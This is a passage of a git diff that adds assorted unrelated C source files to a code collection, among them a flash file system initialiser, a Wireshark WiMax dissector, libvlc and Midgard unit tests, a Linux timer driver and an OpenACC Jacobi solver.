+  return _XMP_N_INT_FALSE;
+}
+
+static bool remove_postreq(const utofu_vcq_id_t vcqid, const int tag)
+{
+  for(int i=_postreq.num-1;i>=0;i--){
+    if(vcqid == _postreq.table[i].vcqid && tag == _postreq.table[i].tag){
+      shift_postreq(i);
+      return _XMP_N_INT_TRUE;
+    }
+  }
+  return _XMP_N_INT_FALSE;
+}
+
+void _xmp_utofu_wait(const int node_num, const int tag)
+{
+  _XMP_utofu_sync_memory();
+
+  while(1) {
+    bool table_has_postreq = remove_postreq(_xmp_utofu_vcq_ids_org[node_num], tag);
+    if(table_has_postreq) break;
+
+    int ret;
+    struct utofu_mrq_notice notice;
+    ret = utofu_poll_mrq(_xmp_utofu_vcq_hdl, 0, &notice);
+    if( ret == UTOFU_SUCCESS ) {
+      _XMP_utofu_check_mrq_notice( &notice );
+    }
+    else if(ret != UTOFU_ERR_NOT_FOUND) {
+      _XMP_utofu_error_check( ret );
+    }
+  }
+}
+
+void _xmp_utofu_wait_node(const int node_num)
+{
+  _XMP_utofu_sync_memory();
+
+  while(1) {
+    bool table_has_postreq = remove_postreq_node(_xmp_utofu_vcq_ids_org[node_num]);
+    if(table_has_postreq) break;
+
+    int ret;
+    struct utofu_mrq_notice notice;
+    ret = utofu_poll_mrq(_xmp_utofu_vcq_hdl, 0, &notice);
+    if( ret == UTOFU_SUCCESS ) {
+      _XMP_utofu_check_mrq_notice( &notice );
+    }
+    else if(ret != UTOFU_ERR_NOT_FOUND) {
+      _XMP_utofu_error_check( ret );
+    }
+  }
+}
diff --git a/pool/shard001/C/0025776_uffs_init.c b/pool/shard001/C/0025776_uffs_init.c
new file mode 100644
index 0000000000000000000000000000000000000000..1a7b3fac4896fd737dd74c291f7d6a888a578e25
--- /dev/null
+++ b/pool/shard001/C/0025776_uffs_init.c
@@ -0,0 +1,204 @@
+/*
+  This file is part of UFFS, the Ultra-low-cost Flash File System.
+  
+  Copyright (C) 2005-2009 Ricky Zheng <ricky_gz_zheng@yahoo.co.nz>
+
+  UFFS is free software; you can redistribute it and/or modify it under
+  the GNU Library General Public License as published by the Free Software 
+  Foundation; either version 2 of the License, or (at your option) any
+  later version.
+
+  UFFS is distributed in the hope that it will be useful, but WITHOUT
+  ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+  FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
+  or GNU Library General Public License, as applicable, for more details.
+ 
+  You should have received a copy of the GNU General Public License
+  and GNU Library General Public License along with UFFS; if not, write
+  to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+  Boston, MA  02110-1301, USA.
+
+  As a special exception, if other files instantiate templates or use
+  macros or inline functions from this file, or you compile this file
+  and link it with other works to produce a work based on this file,
+  this file does not by itself cause the resulting work to be covered
+  by the GNU General Public License. However the source code for this
+  file must still be made available in accordance with section (3) of
+  the GNU General Public License v2.
+ 
+  This exception does not invalidate any other reasons why a work based
+  on this file might be covered by the GNU General Public License.
+*/
+
+/**
+ * \file uffs_init.c
+ * \brief initialize uffs file system device
+ * \author Ricky Zheng, created 12th May, 2005
+ */
+
+#include "uffs_config.h"
+#include "uffs/uffs_types.h"
+#include "uffs/uffs_public.h"
+#include "uffs/uffs_tree.h"
+#include "uffs/uffs_fs.h"
+#include "uffs/uffs_badblock.h"
+#include "uffs/uffs_utils.h"
+#include <string.h>
+
+#define PFX "init: "
+
+static URET uffs_InitDeviceConfig(uffs_Device *dev)
+{
+    if (dev->cfg.dirty_groups == 0)
+        dev->cfg.dirty_groups = MAX_DIRTY_BUF_GROUPS;
+
+	if (!uffs_Assert(dev->cfg.dirty_groups >= 1 && dev->cfg.dirty_groups <= MAX_DIRTY_BUF_GROUPS,
+						"invalid config: dirty_groups = %d\n", dev->cfg.dirty_groups))
+		return U_FAIL;
+
+#if CONFIG_USE_STATIC_MEMORY_ALLOCATOR > 0
+	dev->cfg.bc_caches = MAX_CACHED_BLOCK_INFO;
+	dev->cfg.page_buffers = MAX_PAGE_BUFFERS;
+	dev->cfg.dirty_pages = MAX_DIRTY_PAGES_IN_A_BLOCK;
+	dev->cfg.reserved_free_blocks = MINIMUN_ERASED_BLOCK;
+#else
+	if (dev->cfg.bc_caches == 0)
+		dev->cfg.bc_caches = MAX_CACHED_BLOCK_INFO;
+	if (dev->cfg.page_buffers == 0)
+		dev->cfg.page_buffers = MAX_PAGE_BUFFERS;
+	if (dev->cfg.dirty_pages == 0)
+		dev->cfg.dirty_pages = MAX_DIRTY_PAGES_IN_A_BLOCK;
+	if (dev->cfg.reserved_free_blocks == 0)
+		dev->cfg.reserved_free_blocks = MINIMUN_ERASED_BLOCK;
+
+	if (!uffs_Assert(dev->cfg.page_buffers - CLONE_BUFFERS_THRESHOLD >= 3, "invalid config: page_buffers = %d\n", dev->cfg.page_buffers))
+		return U_FAIL;
+
+#endif
+	return U_SUCC;
+}
+
+URET uffs_InitDevice(uffs_Device *dev)
+{
+	URET ret;
+
+	ret = uffs_InitDeviceConfig(dev);
+	if (ret != U_SUCC)
+		return U_FAIL;
+
+	if (dev->mem.init) {
+		if (dev->mem.init(dev) != U_SUCC) {
+			uffs_Perror(UFFS_MSG_SERIOUS, "Init memory allocator fail.");
+			return U_FAIL;
+		}
+	}
+
+	memset(&(dev->st), 0, sizeof(uffs_FlashStat));
+
+	uffs_DeviceInitLock(dev);
+	uffs_BadBlockInit(dev);
+
+
+	if (uffs_FlashInterfaceInit(dev) != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS, "Can't initialize flash interface !");
+		goto fail;
+	}
+
+	uffs_Perror(UFFS_MSG_NOISY, "init page buf");
+	ret = uffs_BufInit(dev, dev->cfg.page_buffers, dev->cfg.dirty_pages);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_DEAD, "Initialize page buffers fail");
+		goto fail;
+	}
+	uffs_Perror(UFFS_MSG_NOISY, "init block info cache");
+	ret = uffs_BlockInfoInitCache(dev, dev->cfg.bc_caches);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_DEAD, "Initialize block info fail");
+		goto fail;
+	}
+
+	ret = uffs_TreeInit(dev);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS, "fail to init tree buffers");
+		goto fail;
+	}
+
+	ret = uffs_BuildTree(dev);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS, "fail to build tree");
+		goto fail;
+	}
+
+	return U_SUCC;
+
+fail:
+	uffs_DeviceReleaseLock(dev);
+
+	return U_FAIL;
+}
+
+URET uffs_ReleaseDevice(uffs_Device *dev)
+{
+	URET ret;
+
+	ret = uffs_BlockInfoReleaseCache(dev);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS,  "fail to release block info.");
+		goto ext;
+	}
+
+	ret = uffs_BufReleaseAll(dev);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS,  "fail to release page buffers");
+		goto ext;
+	}
+
+	ret = uffs_TreeRelease(dev);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS, "fail to release tree buffers!");
+		goto ext;
+	}
+
+	ret = uffs_FlashInterfaceRelease(dev);
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS, "fail to release tree buffers!");
+		goto ext;
+	}
+
+	if (dev->mem.release)
+		ret = dev->mem.release(dev);
+
+	if (ret != U_SUCC) {
+		uffs_Perror(UFFS_MSG_SERIOUS, "fail to release memory allocator!");
+	}
+
+	uffs_DeviceReleaseLock(dev);
+
+ext:
+	return ret;
+
+}
+
+URET uffs_InitFileSystemObjects(void)
+{
+	if (uffs_InitObjectBuf() == U_SUCC) {
+		if (uffs_DirEntryBufInit() == U_SUCC) {
+			uffs_InitGlobalFsLock();
+			return U_SUCC;
+		}
+	}
+
+	return U_FAIL;
+}
+
+URET uffs_ReleaseFileSystemObjects(void)
+{
+	if (uffs_ReleaseObjectBuf() == U_SUCC) {
+		if (uffs_DirEntryBufRelease() == U_SUCC) {
+			uffs_ReleaseGlobalFsLock();
+			return U_SUCC;
+		}
+	}
+
+	return U_FAIL;
+}
diff --git a/pool/shard001/C/0025789_meta.c b/pool/shard001/C/0025789_meta.c
new file mode 100644
index 0000000000000000000000000000000000000000..aa29c98406f8444de7a3c6d3a59b621fd9e4ed1a
--- /dev/null
+++ b/pool/shard001/C/0025789_meta.c
@@ -0,0 +1,68 @@
+/*
+ * meta.c - libvlc smoke test
+ *
+ * $Id$
+ */
+
+/**********************************************************************
+ *  Copyright (C) 2007 Rémi Denis-Courmont.                           *
+ *  Copyright (C) 2008 Pierre d'Herbemont.                            *
+ *  This program is free software; you can redistribute and/or modify *
+ *  it under the terms of the GNU General Public License as published *
+ *  by the Free Software Foundation; version 2 of the license, or (at *
+ *  your option) any later version.                                   *
+ *                                                                    *
+ *  This program is distributed in the hope that it will be useful,   *
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of    *
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.              *
+ *  See the GNU General Public License for more details.              *
+ *                                                                    *
+ *  You should have received a copy of the GNU General Public License *
+ *  along with this program; if not, you can get it from:             *
+ *  http://www.gnu.org/copyleft/gpl.html                              *
+ **********************************************************************/
+
+#include <string.h>
+
+#include "test.h"
+
+static void test_meta (const char ** argv, int argc)
+{
+    libvlc_instance_t *vlc;
+    libvlc_media_t *media;
+    char * artist;
+
+    log ("Testing meta\n");
+
+    vlc = libvlc_new (argc, argv);
+    assert (vlc != NULL);
+
+    media = libvlc_media_new_path (vlc, "samples/meta.sample");
+    assert( media );
+
+    libvlc_media_parse (media);
+
+    artist = libvlc_media_get_meta (media, libvlc_meta_Artist);
+
+    const char *expected_artist = "mike";
+
+    assert (artist);
+    log ("+ got '%s' as Artist, expecting %s\n", artist, expected_artist);
+
+    int string_compare = strcmp (artist, expected_artist);
+    assert (!string_compare);
+
+    free (artist);
+    libvlc_media_release (media);
+    libvlc_release (vlc);
+}
+
+
+int main (void)
+{
+    test_init();
+
+    test_meta (test_defaults_args, test_defaults_nargs);
+
+    return 0;
+}
diff --git a/pool/shard001/C/0025796_wimax_ffb_decoder.c b/pool/shard001/C/0025796_wimax_ffb_decoder.c
new file mode 100644
index 0000000000000000000000000000000000000000..1723179f538f694eabfb3404b6556cba805ae871
--- /dev/null
+++ b/pool/shard001/C/0025796_wimax_ffb_decoder.c
@@ -0,0 +1,142 @@
+/* wimax_ffb_decoder.c
+ * WiMax Fast Feedback packet decoder
+ *
+ * Copyright (c) 2007 by Intel Corporation.
+ *
+ * Author: Lu Pan <lu.pan@intel.com>
+ *
+ * Wireshark - Network traffic analyzer
+ * By Gerald Combs <gerald@wireshark.org>
+ * Copyright 1999 Gerald Combs
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; either version 2
+ * of the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+/* Include files */
+
+#include "config.h"
+
+#include <epan/packet.h>
+
+extern gint proto_wimax;
+
+void proto_register_wimax_ffb(void);
+
+static gint proto_wimax_ffb_decoder = -1;
+static gint ett_wimax_ffb_decoder = -1;
+
+/* static gint hf_ffb_burst = -1; */
+static gint hf_ffb_num_of_ffbs = -1;
+static gint hf_ffb_type = -1;
+static gint hf_ffb_subchannel = -1;
+static gint hf_ffb_symboloffset = -1;
+static gint hf_ffb_value = -1;
+
+
+static int dissect_wimax_ffb_decoder(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
+{
+	gint offset = 0;
+	guint length, num_of_ffbs, i;
+	proto_item *ffb_item = NULL;
+	proto_tree *ffb_tree = NULL;
+
+	/* update the info column */
+	col_append_sep_str(pinfo->cinfo, COL_INFO, NULL, "Fast Feedback Burst:");
+	if (tree)
+	{	/* we are being asked for details */
+		/* get the tvb reported length */
+		length = tvb_reported_length(tvb);
+		/* display Fast Feedback Burst dissector info */
+		ffb_item = proto_tree_add_protocol_format(tree, proto_wimax_ffb_decoder, tvb, offset, length, "Fast Feedback Burst (%u bytes)", length);
+		/* add Fast Feedback Burst subtree */
+		ffb_tree = proto_item_add_subtree(ffb_item, ett_wimax_ffb_decoder);
+		/* get the number of FFBs */
+		num_of_ffbs =  tvb_get_guint8(tvb, offset);
+		/* display the number of FFBs */
+		proto_tree_add_item(ffb_tree, hf_ffb_num_of_ffbs, tvb, offset++, 1, ENC_BIG_ENDIAN);
+		/* display the FFB type */
+		proto_tree_add_item(ffb_tree, hf_ffb_type, tvb, offset++, 1, ENC_BIG_ENDIAN);
+		/* display the FFBs */
+		for(i = 0; i < num_of_ffbs; i++)
+		{
+			proto_tree_add_item(ffb_tree, hf_ffb_subchannel, tvb, offset++, 1, ENC_BIG_ENDIAN);
+			proto_tree_add_item(ffb_tree, hf_ffb_symboloffset, tvb, offset++, 1, ENC_BIG_ENDIAN);
+			proto_tree_add_item(ffb_tree, hf_ffb_value, tvb, offset++, 1, ENC_BIG_ENDIAN);
+		}
+	}
+	return tvb_captured_length(tvb);
+}
+
+/* Register Wimax FFB Protocol */
+void proto_register_wimax_ffb(void)
+{
+	/* FFB display */
+	static hf_register_info hf[] =
+	{
+#if 0
+		{
+			&hf_ffb_burst,
+			{"Fast Feedback Burst", "wmx.ffb.burst", FT_BYTES, BASE_NONE, NULL, 0x0, NULL, HFILL}
+		},
+#endif
+		{
+			&hf_ffb_num_of_ffbs,
+			{"Number Of Fast Feedback", "wmx.ffb.num_of_ffbs", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL}
+		},
+		{
+			&hf_ffb_type,
+			{"Fast Feedback Type", "wmx.ffb.ffb_type", FT_UINT8, BASE_HEX, NULL, 0x0, NULL, HFILL}
+		},
+		{
+			&hf_ffb_subchannel,
+			{"Physical Subchannel", "wmx.ffb.subchannel", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL}
+		},
+		{
+			&hf_ffb_symboloffset,
+			{"Symbol Offset", "wmx.ffb.symbol_offset", FT_UINT8, BASE_DEC, NULL, 0x0, NULL, HFILL}
+		},
+		{
+			&hf_ffb_value,
+			{"Fast Feedback Value", "wmx.ffb.ffb_value", FT_UINT8, BASE_HEX, NULL, 0x0, NULL, HFILL}
+		}
+	};
+
+	/* Setup protocol subtree array */
+	static gint *ett[] =
+		{
+			&ett_wimax_ffb_decoder,
+		};
+
+	proto_wimax_ffb_decoder = proto_wimax;
+
+	/* register the field display messages */
+	proto_register_field_array(proto_wimax_ffb_decoder, hf, array_length(hf));
+	proto_register_subtree_array(ett, array_length(ett));
+
+	register_dissector("wimax_ffb_burst_handler", dissect_wimax_ffb_decoder, -1);
+}
+
+/*
+ * Editor modelines  -  http://www.wireshark.org/tools/modelines.html
+ *
+ * Local variables:
+ * c-basic-offset: 8
+ * tab-width: 8
+ * indent-tabs-mode: t
+ * End:
+ *
+ * vi: set shiftwidth=8 tabstop=8 noexpandtab:
+ * :indentSize=8:tabSize=8:noTabs=false:
+ */
diff --git a/pool/shard001/C/0025805_check_guid.c b/pool/shard001/C/0025805_check_guid.c
new file mode 100644
index 0000000000000000000000000000000000000000..7f17fccb6706a4899104b7aec6e1341696126824
--- /dev/null
+++ b/pool/shard001/C/0025805_check_guid.c
@@ -0,0 +1,101 @@
+/* 
+ * Copyright (C) 2005 Jukka Zitting <jz@yukatan.fi>
+ *
+ * This program is free software; you can redistribute it and/or modify it
+ * under the terms of the GNU Lesser General Public License as published
+ * by the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ */
+#include "check_guid.h"
+#include "midgard/guid.h"
+#include "midgard/uuid.h"
+#include "midgard/midgard_legacy.h"
+
+START_TEST(test_is_guid)
+{
+	fail_if(midgard_is_guid(""), NULL);
+        fail_if(midgard_is_guid("not-uuid"), NULL);
+        fail_if(midgard_is_guid("1234567890"), NULL);
+        fail_if(midgard_is_guid("1234567890abcdef"), NULL);
+        fail_if(midgard_is_uuid("83209057-7acb-47b4-970f-gce4a38d3904"), NULL);
+        fail_unless(midgard_is_guid("832090577acb47b4970fbce4a38d3904"), NULL);
+        fail_unless(midgard_is_guid("83209057-7acb-47b4-970f-bce4a38d3904"), NULL);
+        fail_unless(midgard_is_guid("83209057-7ACB-47B4-970F-BCE4A38D3904"), NULL);
+        fail_unless(midgard_is_guid("83209057-7aCb-47B4-970f-BcE4a38D3904"), NULL);
+        fail_unless(midgard_is_guid("01234567890123456789012345678901234567890123456789012345678901234567890123456789"), NULL);
+        fail_unless(midgard_is_guid("012345678901234567890123456789012345678901234567890123456789012345678901234567890"), NULL);
+}
+END_TEST
+
+START_TEST(test_guid_new)
+{
+        mgd_init();
+        mgdlib_init();
+        midgard *mgd = mgd_setup();
+        gchar *guid1 = midgard_guid_new(mgd);
+        gchar *guid2 = midgard_guid_new(mgd);
+        fail_unless(midgard_is_guid(guid1), "midgard_is_guid(%s)", guid1);
+        fail_unless(midgard_is_guid(guid2), "midgard_is_guid(%s)", guid2);
+        fail_if(g_str_equal(guid1, guid2), "g_str_equal(%s,%s)", guid1, guid2);
+        g_free(guid1);
+        g_free(guid2);
+        mgd_close(mgd);
+        mgd_done();
+}
+END_TEST
+
+START_TEST(test_guid_external)
+{
+        mgd_init();
+        mgdlib_init();
+        midgard *mgd = mgd_setup();
+        gchar *guid1a = midgard_guid_external(mgd, "some-unique-name");
+        gchar *guid1b = midgard_guid_external(mgd, "some-unique-name");
+        gchar *guid2 = midgard_guid_external(mgd, "some-other-unique-name");
+        fail_unless(midgard_is_guid(guid1a), "midgard_is_guid(%s)", guid1a);
+        fail_unless(midgard_is_guid(guid1b), "midgard_is_guid(%s)", guid1b);
+        fail_unless(midgard_is_guid(guid2), "midgard_is_guid(%s)", guid2);
+        fail_unless(g_str_equal(guid1a, guid1b), "g_str_equal(%s,%s)", guid1a, guid1b);
+        fail_if(g_str_equal(guid1a, guid2), "g_str_equal(%s,%s)", guid1a, guid2);
+        g_free(guid1a);
+        g_free(guid1b);
+        g_free(guid2);
+        mgd_close(mgd);
+        mgd_done();
+}
+END_TEST
+
+START_TEST(test_create_guid)
+{
+        mgd_init();
+        mgdlib_init();
+        midgard *mgd = mgd_setup();
+        gchar *guid1 = mgd_create_guid(mgd, "table", 123);
+        gchar *guid2 = mgd_create_guid(mgd, "table", 123);
+        fail_unless(midgard_is_guid(guid1), "midgard_is_guid(%s)", guid1);
+        fail_unless(midgard_is_guid(guid2), "midgard_is_guid(%s)", guid2);
+        fail_if(g_str_equal(guid1, guid2), "g_str_equal(%s,%s)", guid1, guid2);
+        g_free(guid1);
+        g_free(guid2);
+        mgd_close(mgd);
+        mgd_done();
+}
+END_TEST
+
+TCase *midgard_guid_test_case(void) {
+        TCase *test_case = tcase_create("UUID");
+        tcase_add_test(test_case, test_is_guid);
+        tcase_add_test(test_case, test_guid_new);
+        tcase_add_test(test_case, test_guid_external);
+        tcase_add_test(test_case, test_create_guid);
+        return test_case;
+}
diff --git a/pool/shard001/C/0025816_main.c b/pool/shard001/C/0025816_main.c
new file mode 100644
index 0000000000000000000000000000000000000000..a4a427960e27ccf7daf23fb60369c1c91ac7d01e
--- /dev/null
+++ b/pool/shard001/C/0025816_main.c
@@ -0,0 +1,81 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "headers.h"
+
+#include <unistd.h> // Biblioteca para multi processing
+#include <signal.h> // Bibilioteca para enviar señales a los procesos
+#include <sys/wait.h>
+
+// Variables globales utilizadas para la comunicación entre procesos.
+#define SERVER 0
+#define CLIENTE 1
+int rolProceso;
+
+#define PUERTO_SERVER 3333
+#define MAX_LARGO_COLA 100
+
+typedef int boolean;
+#define TRUE 1
+#define FALSE 0
+boolean en_ejecucion;
+
+int main(void){
+
+  //Inicializacion
+	en_ejecucion = TRUE;
+
+  pid_t pid_B, pid_C;
+
+  //Registramos con el kernel la funcion que maneja las signals
+	signal(SIGINT, manejador_signals);
+	signal(SIGTERM, manejador_signals);
+	signal(SIGHUP, manejador_signals);
+
+  // El proceso principal (Proceso A), crea 2 procesos hijos (Procesos B y C)
+
+  // Creación del primer proceso hijo (Proceso B)
+  pid_B = fork();
+  if (pid_B == -1) {
+    perror("ERROR al crear proceso B.\n");
+    return 1;;
+  } else if (pid_B == 0) {
+    // Código a ejecutar por el proceso hijo (Proceso B)
+    //printf("Proceso B creado con éxito. En ejecución...\n");
+    proceso_B();
+
+  } else {
+    // Código a ejecutar por el proceso padre (Proceso A)
+    // Creación del segundo proceso hijo (Proceso C)
+    pid_C = fork();
+    if (pid_C == -1) {
+      perror("ERROR al crear proceso C.\n");
+      return 1;
+    } else if (pid_C == 0){
+      // Código a ejecutar por el proceso hijo (Proceso C)
+			//printf("Proceso C esperando órdenes\n");
+      getchar();
+      kill(pid_B, SIGHUP);
+			//printf("Ejecución del proceso C finalizada con éxito.Estado: %d\n", en_ejecucion);
+
+			exit(0);
+
+    } else {
+      // Código a ejecutar por el proceso padre (Proceso A)
+      //printf("Proceso A en ejecución...\n");
+      proceso_A();
+
+      // kill(pid_B, SIGTERM);
+      // kill(pid_C, SIGTERM);
+      // printf("Señal SIGTERM enviada a los procesos con éxito.\n");
+
+      int status;
+      waitpid(pid_B, &status, 0);
+      waitpid(pid_C, &status, 0);
+
+      //printf("\nEjecución del multiprocessing finalizada con éxito.\n");
+    }
+  }
+
+  return 0;
+}
diff --git a/pool/shard001/C/0025819_sunxi_timer.c b/pool/shard001/C/0025819_sunxi_timer.c
new file mode 100644
index 0000000000000000000000000000000000000000..0ce85e29769b80ac7c9e2b958e84bf87505c09eb
--- /dev/null
+++ b/pool/shard001/C/0025819_sunxi_timer.c
@@ -0,0 +1,160 @@
+/*
+ * Allwinner A1X SoCs timer handling.
+ *
+ * Copyright (C) 2012 Maxime Ripard
+ *
+ * Maxime Ripard <maxime.ripard@free-electrons.com>
+ *
+ * Based on code from
+ * Allwinner Technology Co., Ltd. <www.allwinnertech.com>
+ * Benn Huang <benn@allwinnertech.com>
+ *
+ * This file is licensed under the terms of the GNU General Public
+ * License version 2.  This program is licensed "as is" without any
+ * warranty of any kind, whether express or implied.
+ */
+
+#include <linux/clk.h>
+#include <linux/clockchips.h>
+#include <linux/interrupt.h>
+#include <linux/irq.h>
+#include <linux/irqreturn.h>
+#include <linux/of.h>
+#include <linux/of_address.h>
+#include <linux/of_irq.h>
+#include <linux/sunxi_timer.h>
+#include <linux/clk/sunxi.h>
+
+#define TIMER_CTL_REG		0x00
+#define TIMER_CTL_ENABLE		(1 << 0)
+#define TIMER_IRQ_ST_REG	0x04
+#define TIMER0_CTL_REG		0x10
+#define TIMER0_CTL_ENABLE		(1 << 0)
+#define TIMER0_CTL_AUTORELOAD		(1 << 1)
+#define TIMER0_CTL_ONESHOT		(1 << 7)
+#define TIMER0_INTVAL_REG	0x14
+#define TIMER0_CNTVAL_REG	0x18
+
+#define TIMER_SCAL		16
+
+static void __iomem *timer_base;
+
+static void sunxi_clkevt_mode(enum clock_event_mode mode,
+			      struct clock_event_device *clk)
+{
+	u32 u = readl(timer_base + TIMER0_CTL_REG);
+
+	switch (mode) {
+	case CLOCK_EVT_MODE_PERIODIC:
+		u &= ~(TIMER0_CTL_ONESHOT);
+		writel(u | TIMER0_CTL_ENABLE, timer_base + TIMER0_CTL_REG);
+		break;
+
+	case CLOCK_EVT_MODE_ONESHOT:
+		writel(u | TIMER0_CTL_ONESHOT, timer_base + TIMER0_CTL_REG);
+		break;
+	case CLOCK_EVT_MODE_UNUSED:
+	case CLOCK_EVT_MODE_SHUTDOWN:
+	default:
+		writel(u & ~(TIMER0_CTL_ENABLE), timer_base + TIMER0_CTL_REG);
+		break;
+	}
+}
+
+static int sunxi_clkevt_next_event(unsigned long evt,
+				   struct clock_event_device *unused)
+{
+	u32 u = readl(timer_base + TIMER0_CTL_REG);
+	writel(evt, timer_base + TIMER0_CNTVAL_REG);
+	writel(u | TIMER0_CTL_ENABLE | TIMER0_CTL_AUTORELOAD,
+	       timer_base + TIMER0_CTL_REG);
+
+	return 0;
+}
+
+static struct clock_event_device sunxi_clockevent = {
+	.name = "sunxi_tick",
+	.rating = 300,
+	.features = CLOCK_EVT_FEAT_PERIODIC | CLOCK_EVT_FEAT_ONESHOT,
+	.set_mode = sunxi_clkevt_mode,
+	.set_next_event = sunxi_clkevt_next_event,
+};
+
+
+static irqreturn_t sunxi_timer_interrupt(int irq, void *dev_id)
+{
+	struct clock_event_device *evt = (struct clock_event_device *)dev_id;
+
+	writel(0x1, timer_base + TIMER_IRQ_ST_REG);
+	evt->event_handler(evt);
+
+	return IRQ_HANDLED;
+}
+
+static struct irqaction sunxi_timer_irq = {
+	.name = "sunxi_timer0",
+	.flags = IRQF_DISABLED | IRQF_TIMER | IRQF_IRQPOLL,
+	.handler = sunxi_timer_interrupt,
+	.dev_id = &sunxi_clockevent,
+};
+
+static struct of_device_id sunxi_timer_dt_ids[] = {
+	{ .compatible = "allwinner,sunxi-timer" },
+	{ }
+};
+
+void __init sunxi_timer_init(void)
+{
+	struct device_node *node;
+	unsigned long rate = 0;
+	struct clk *clk;
+	int ret, irq;
+	u32 val;
+
+	node = of_find_matching_node(NULL, sunxi_timer_dt_ids);
+	if (!node)
+		panic("No sunxi timer node");
+
+	timer_base = of_iomap(node, 0);
+	if (!timer_base)
+		panic("Can't map registers");
+
+	irq = irq_of_parse_and_map(node, 0);
+	if (irq <= 0)
+		panic("Can't parse IRQ");
+
+	sunxi_init_clocks();
+
+	clk = of_clk_get(node, 0);
+	if (IS_ERR(clk))
+		panic("Can't get timer clock");
+
+	rate = clk_get_rate(clk);
+
+	writel(rate / (TIMER_SCAL * HZ),
+	       timer_base + TIMER0_INTVAL_REG);
+
+	/* set clock source to HOSC, 16 pre-division */
+	val = readl(timer_base + TIMER0_CTL_REG);
+	val &= ~(0x07 << 4);
+	val &= ~(0x03 << 2);
+	val |= (4 << 4) | (1 << 2);
+	writel(val, timer_base + TIMER0_CTL_REG);
+
+	/* set mode to auto reload */
+	val = readl(timer_base + TIMER0_CTL_REG);
+	writel(val | TIMER0_CTL_AUTORELOAD, timer_base + TIMER0_CTL_REG);
+
+	ret = setup_irq(irq, &sunxi_timer_irq);
+	if (ret)
+		pr_warn("failed to setup irq %d\n", irq);
+
+	/* Enable timer0 interrupt */
+	val = readl(timer_base + TIMER_CTL_REG);
+	writel(val | TIMER_CTL_ENABLE, timer_base + TIMER_CTL_REG);
+
+	sunxi_clockevent.cpumask = cpumask_of(0);
+
+	clockevents_config_and_register(&sunxi_clockevent, rate / TIMER_SCAL,
+					0x1, 0xff);
+}
diff --git a/pool/shard001/C/0025834_task4_4096_solution.c b/pool/shard001/C/0025834_task4_4096_solution.c
new file mode 100644
index 0000000000000000000000000000000000000000..f24ad64388bcb6a8081612ed95c0319fd8ff78d5
--- /dev/null
+++ b/pool/shard001/C/0025834_task4_4096_solution.c
@@ -0,0 +1,73 @@
+#include <math.h>
+#include <string.h>
+#include "timer.h"
+
+#define NN 4096
+#define NM 4096
+
+float A[NN][NM];
+float Anew[NN][NM];
+
+int main(int argc, char** argv)
+{
+    const int n = NN;
+    const int m = NM;
+    const int iter_max = 1000;
+    
+    const double tol = 1.0e-6;
+    double error     = 1.0;
+    
+    memset(A, 0, n * m * sizeof(float));
+    memset(Anew, 0, n * m * sizeof(float));
+        
+    for (int j = 0; j < n; j++)
+    {
+        A[j][0]    = 1.0;
+        Anew[j][0] = 1.0;
+    }
+    
+    printf("Jacobi relaxation Calculation: %d x %d mesh\n", n, m);
+    
+    StartTimer();
+    int iter = 0;
+    
+    #pragma acc data copy(A), create(Anew)
+    while ( error > tol && iter < iter_max )
+    {
+        #pragma acc kernels
+        {
+            error = 0.0;
+          
+            #pragma omp parallel for shared(m, n, Anew, A)
+            for( int j = 1; j < n-1; j++)
+            {
+                #pragma acc loop gang(8) vector(32)
+                for( int i = 1; i < m-1; i++ )
+                {
+                    Anew[j][i] = 0.25 * ( A[j][i+1] + A[j][i-1]
+                                        + A[j-1][i] + A[j+1][i]);
+                    error = fmax( error, fabs(Anew[j][i] - A[j][i]));
+                }
+            }
+            
+            #pragma omp parallel for shared(m, n, Anew, A)
+            for( int j = 1; j < n-1; j++)
+            {
+                #pragma acc loop gang(8) vector(32)
+                for( int i = 1; i < m-1; i++ )
+                {
+                    A[j][i] = Anew[j][i];    
+                }
+            }
+        }
+
+        if(iter % 100 == 0) printf("%5d, %0.6f\n", iter, error);
+        
+        iter++;
+      
+    }
+
+    double runtime = GetTimer();
+
+    printf(" total: %f s\n", runtime / 1000);
+}
diff --git a/pool/shard001/C/0025835_abort.c b/pool/shard001/C/0025835_abort.c
new file mode 100644
index 0000000000000000000000000000000000000000..73678f2574fea50d1e7bc4e91aa1d63743c65143
--- /dev/null
+++ b/pool/shard001/C/0025835_abort.c
@@ -0,0 +1,79 @@
+/*
+ * Copyright (c) 1985, 1993
+ *	The Regents of the University of California.  All rights reserved.
